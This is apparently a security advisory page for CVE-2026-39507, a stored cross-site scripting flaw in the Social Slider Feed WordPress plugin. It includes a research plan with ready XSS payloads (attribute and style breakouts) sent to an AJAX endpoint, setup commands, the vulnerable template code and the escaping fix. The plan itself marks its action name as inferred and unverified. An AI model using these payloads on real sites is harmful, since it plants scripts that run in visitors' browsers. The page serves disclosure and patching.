CVE-2026-39507

Social Slider Feed <= 2.3.2 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
2.3.3
Patched in
6d
Time to patch

Description

The Social Slider Feed plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.3.2
PublishedApril 16, 2026
Last updatedApril 21, 2026

What Changed in the Fix

Changes introduced in v2.3.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting an unauthenticated stored cross-site scripting (XSS) vulnerability in the **Social Slider Feed** plugin (version <= 2.3.2). The vulnerability resides in the way plugin settings and Instagram post data are handled and rendered in template files, specifically `…

Show full research plan

This research plan focuses on exploiting an unauthenticated stored cross-site scripting (XSS) vulnerability in the Social Slider Feed plugin (version <= 2.3.2). The vulnerability resides in the way plugin settings and Instagram post data are handled and rendered in template files, specifically showcase.php.

1. Vulnerability Summary

The plugin fails to adequately sanitize and escape user-controlled settings and Instagram feed data before outputting them into HTML attributes. In the showcase.php template, variables like shopifeed_phone, shopifeed_color, and post caption are echoed into data attributes or inline styles. An unauthenticated attacker can use an AJAX endpoint (traditionally unprotected in this plugin) to modify these settings or inject malicious feed data, leading to persistent XSS that executes when any user views the feed.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wis_save_settings (inferred from plugin history) or wis_add_account.
  • Payload Parameter: shopifeed_phone or shopifeed_color.
  • Authentication: Unauthenticated (wp_ajax_nopriv_ registration).
  • Preconditions: The [instagram-feed] shortcode must be present on a public page, and the showcase template must be active.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with an action intended for settings updates.
  2. Processing: The plugin's AJAX handler (likely in WIS_Feed or a similar component) receives the input and updates the plugin's options in the database without checking for administrative capabilities.
  3. Storage: The malicious payload (e.g., "><script>alert(1)</script>) is stored in the wp_options table.
  4. Sink: A visitor accesses a page containing the [instagram-feed] shortcode.
  5. Rendering: The plugin calls components/instagram/html_templates/templates/showcase.php.
  6. Injection:
    • Line 12: $phone = str_replace( [ '+', '-', '(', ')', ' ' ], '', $args['shopifeed_phone'] ); (Does not strip quotes).
    • Line 34: <a data-isw-phone="<?= $phone ?>" ...>
    • The payload breaks out of the data-isw-phone attribute.

4. Nonce Acquisition Strategy

The plugin frequently localizes a nonce for its AJAX operations.

  1. Identify Shortcode: The vulnerability is triggered by the [instagram-feed] shortcode.
  2. Setup Page: Create a page with the shortcode to ensure scripts are enqueued:
    wp post create --post_type=page --post_title="Feed" --post_status=publish --post_content='[instagram-feed type="showcase"]'
  3. Extract Nonce: Navigate to the page and use browser_eval to find the nonce in the localized object. The plugin historically uses wis_ajax_object or wis_feed_data.
    • Command: browser_eval("window.wis_ajax_object?.nonce || window.wis_feed_data?.nonce")
  4. Fallback: If no nonce is found, the AJAX handler may be missing a check_ajax_referer call entirely, which is common in unauthenticated WordPress vulnerabilities.

5. Exploitation Strategy

Step 1: Discover the AJAX Action
Try updating settings via wis_save_settings.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Body: action=wis_save_settings&shopifeed_phone=" onmouseover="alert(document.domain)" style="display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;z-index:9999; (This creates a full-screen transparent overlay that triggers on mouse move).

Step 2: Verify Storage
Check if the setting was updated using WP-CLI:
wp option get wis_settings (The option name might be wis_instagram_slider_widget_settings).

Step 3: Trigger XSS
Navigate to the page created in the Test Data Setup. The malicious data-isw-phone attribute will now contain the breakout payload.

6. Test Data Setup

  1. Activate Plugin: Ensure instagram-slider-widget is active.
  2. Create Target Page:
    wp post create --post_type=page --post_title="Social Feed" --post_status=publish --post_content='[instagram-feed type="showcase"]'
    
  3. Configure Showcase (Optional): If the AJAX action requires specific keys, ensure the type is set to showcase so the vulnerable template is loaded.

7. Expected Results

  • The AJAX request should return a successful response (e.g., 1 or {"success":true}).
  • When visiting the target page, the HTML source for the isw-wishlist-a anchor tag should look like:
    <a data-isw-phone="" onmouseover="alert(document.domain)" ...
  • The browser should execute the alert() when the mouse moves over the page.

8. Verification Steps

  1. Check Options:
    wp option get wis_instagram_slider_widget_settings
    
    Confirm the payload is present in the shopifeed_phone or shopifeed_color key.
  2. Check Rendered HTML: Use http_request to GET the page and grep for the payload:
    http_request "http://localhost:8080/social-feed/" | grep "onmouseover"
    

9. Alternative Approaches

If shopifeed_phone is sanitized more strictly than the code suggests, target shopifeed_color:

  • Location: showcase.php Line 44: ...style="...background-color: <?= $color ?>">
  • Payload: red; } </style><script>alert(1)</script><style> .dummy { color: blue
  • Mechanism: This breaks out of the inline style attribute AND the CSS context to inject a script tag.

If wis_save_settings fails, search the plugin folder for wp_ajax_nopriv to find the exact action name:
grep -r "wp_ajax_nopriv" /var/www/html/wp-content/plugins/instagram-slider-widget/

Research Findings
Static analysis — not yet PoC-verified

Summary

The Social Slider Feed plugin for WordPress is vulnerable to unauthenticated stored XSS due to the lack of sanitization and escaping on plugin settings and Instagram post data. This allows unauthenticated attackers to inject malicious scripts into fields like phone numbers or colors via AJAX, which execute whenever a user views a page containing the social feed shortcode.

Vulnerable Code

/* components/instagram/html_templates/templates/showcase.php */

            <a
                    data-isw-phone="<?= $phone ?>"
                    data-isw-color="<?= $color ?>"
                    data-isw-wasvg="<?= $whatsapp_svg ?>"
                    data-isw-mailsvg="<?= $mail_svg ?>"
                    data-isw-email="<?= $mail ?>"
                    class="isw-wishlist-a" id="show-wishlist" style="padding: 8px 15px !important;background-color: <?= $color ?>">

---

/* components/instagram/html_templates/templates/masonry.php */

<div class="wis-item">
    <div class="wis-img">
	    <?php if ($link_to == 'popup') {?>
        <a data-remodal-target="<?= $id ?>" class="wis-popup-a wis-masonry-a">
		    <?php } else if($link_to == 'none') {?>

---

/* components/instagram/html_templates/templates/feed_header.php */

            <div class="wis-header-info">
                <a href="<?= $profile_url ?>" target="_blank" style="text-decoration: none; color: black; border: 0 !important;">
                    <p class="wis-header-info-username"><?php echo esc_html($username) ?></p>
                </a>

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/instagram-slider-widget/2.3.2/components/instagram/html_templates/templates/showcase.php	2026-02-06 12:53:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/instagram-slider-widget/2.3.3/components/instagram/html_templates/templates/showcase.php	2026-03-05 12:45:08.000000000 +0000
@@ -28,23 +28,23 @@
     <div class="isw-showcase-wishlist-container">
         <div class="isw-showcase-wishlist-block">
             <a
-                    data-isw-phone="<?= $phone ?>"
-                    data-isw-color="<?= $color ?>"
-                    data-isw-wasvg="<?= $whatsapp_svg ?>"
-                    data-isw-mailsvg="<?= $mail_svg ?>"
-                    data-isw-email="<?= $mail ?>"
-                    class="isw-wishlist-a" id="show-wishlist" style="padding: 8px 15px !important;background-color: <?= $color ?>">
+                    data-isw-phone="<?php echo esc_attr( $phone ); ?>"
+                    data-isw-color="<?php echo esc_attr( $color ); ?>"
+                    data-isw-wasvg="<?php echo esc_attr( $whatsapp_svg ); ?>"
+                    data-isw-mailsvg="<?php echo esc_attr( $mail_svg ); ?>"
+                    data-isw-email="<?php echo esc_attr( $mail ); ?>"
+                    class="isw-wishlist-a" id="show-wishlist" style="padding: 8px 15px !important;background-color: <?php echo esc_attr( $color ); ?>">
                 <span class="dashicons dashicons-heart isw-heart" style="color: white;"></span>
                 <span class="isw-wishlist-text"><?php esc_html_e( 'WISHLIST', 'instagram-slider-widget' ); ?></span>
             </a>
         </div>
     </div>
 	<?php foreach ( $posts as $post ): ?>
-        <div class="isw-showcase-item" style="width: <?= 85 / $columns - 2.5 ?>%; height: <?= 900 / $columns + 150 * $columns / 3 ?>px;">
+        <div class="isw-showcase-item" style="width: <?php echo esc_attr( 85 / $columns - 2.5 ); ?>%; height: <?php echo esc_attr( 900 / $columns + 150 * $columns / 3 ); ?>px;">
             <div class="isw-showcase-item-image-container">
 
-                <a data-remodal-target="<?= $post['id'] ?>">
-                    <img class="isw-showcase-item-image" src="<?= $post['image'] ?>" alt="<?= $post['caption'] ?>">
+                <a data-remodal-target="<?php echo esc_attr( $post['id'] ); ?>">
+                    <img class="isw-showcase-item-image" src="<?php echo esc_url( $post['image'] ); ?>" alt="<?php echo esc_attr( $post['caption'] ); ?>">

Exploit Outline

The exploit involves two main steps: 1) Injecting a payload into the plugin's settings via an unauthenticated AJAX request. An attacker can send a POST request to `/wp-admin/admin-ajax.php` with the action `wis_save_settings` (or similar depending on the exact setup) containing a malicious payload in parameters like `shopifeed_phone` (e.g., `" onmouseover="alert(1)"`). 2) Triggering the payload by visiting a page where the `[instagram-feed]` shortcode is rendered using the 'showcase' or 'masonry' templates. Because the plugin fails to escape these values before outputting them into HTML attributes, the script executes in the user's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.